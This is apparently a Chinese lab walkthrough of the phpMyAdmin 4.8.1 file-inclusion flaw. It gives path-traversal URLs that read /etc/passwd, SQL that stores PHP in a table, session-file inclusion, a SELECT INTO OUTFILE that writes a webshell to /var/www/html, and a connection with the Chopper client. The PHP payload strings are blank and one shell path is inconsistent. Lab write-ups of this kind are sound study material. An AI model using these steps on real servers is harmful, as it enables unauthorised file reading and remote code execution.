phpmyadmin 4.8.1漏洞复现(实战演示)

第一步,根据该版本CVE漏洞构造URL,在index.php后添加内容,如显示/etc/passwd详细内容。

/* 方法一 */
http://localhost:8088/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

/* 方法二 */
http://localhost:8088/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

phpmyadmin 4.8.1漏洞复现(实战演示)_第1张图片

第二步,执行SQL语句查询数据库路径。结果为: /var/lib/mysql/。

show global variables like "%datadir%";

phpmyadmin 4.8.1漏洞复现(实战演示)_第2张图片
第三步,向数据库写入php代码。创建数据库rce和表rce,并插入php代码。

CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("");

输出结果如下图所示
phpmyadmin 4.8.1漏洞复现(实战演示)_第3张图片
然后我们可以看到插入的php代码,如下所示。

phpmyadmin 4.8.1漏洞复现(实战演示)_第4张图片
第四步,在SQL中执行select ‘’,然后查看当前页面cookie中的phpmyadmin的值。
phpmyadmin 4.8.1漏洞复现(实战演示)_第5张图片
F12 通过浏览器查看网络的Cookie值。
phpmyadmin 4.8.1漏洞复现(实战演示)_第6张图片
第五步,构建包含Session值的URL路径。
F12查看网站Session值,访问/index.php?target=db_sql.php%253f/…/…/…/…/…/…/tmp/sess_[session]。

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

第六步,在phpInfo默认页面找到网站的安装位置:/var/www/html,然后写入一句话木马。

select '' into outfile '/var/www/html/hack.php'

phpmyadmin 4.8.1漏洞复现(实战演示)_第7张图片

第七步,通过菜刀连接 http://ip/hackindex.php。菜刀连接成功,在根目录下找到了key.txt文件,查看key.txt文件,获得key值。
phpmyadmin 4.8.1漏洞复现(实战演示)_第8张图片
在这里插入图片描述
总结:

本文利用phpMyAdmin 4.8.1后台文件包含漏洞,获取登录phpmyadmin系统所产生的sess_sessionID文件,然后通过文件绕过获取相关信息并植入木马,最终获取webshell。同时,此漏洞是登陆后才可以使用的,比较鸡肋。一般登陆后直接执行SQL语句生成shell即可,但有时目录权限比较严格,不能在WEB目录内生成,则可以结合本例使用。
phpmyadmin 4.8.1漏洞复现(实战演示)_第9张图片
ps:出现上述情况Erro:解决方法:去服务器上把cookie值的文件都删掉,重新产生新的一个cookie值,多试几次。

本教程是在靶场进行实战操作,仅供参考。

phpmyadmin 4.8.1漏洞复现(实战演示)_第10张图片

你可能感兴趣的:(封神,数据库)